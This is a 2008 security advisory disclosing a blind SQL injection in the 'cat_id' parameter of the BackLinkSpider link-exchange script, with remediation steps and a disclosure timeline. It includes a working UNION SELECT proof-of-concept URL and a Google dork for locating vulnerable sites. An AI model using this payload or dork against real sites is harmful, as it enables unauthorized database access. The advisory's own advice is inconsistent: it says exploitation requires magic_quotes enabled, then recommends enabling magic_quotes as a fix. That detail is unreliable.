[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability

ECHO_ADV_95$2008

[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability

Author : M.Hasran Addahroni
Date : May, 5 th 2008
Location : Jakarta, Indonesia
Web : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt
Critical Lvl : Medium
Impact : System access
Where : From Remote

Affected software description:

Application   : BackLinkSpider
version       : unknown
Vendor        : http://www.backlinkspider.com/
Description   :

BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page
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Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query. 
This can be exploited to execute sql query through the browser.
Successful exploitation requires that "magic_quotes" is enabled.


Poc/Exploit:

~~~~~~~~~~
http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]
http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*


Dork:
~~~~~
Google    : "Powered By BackLinkSpider" "inurl:backlinkspider.php"


Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~~

- 03 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
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Shoutz:
~~~~~
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~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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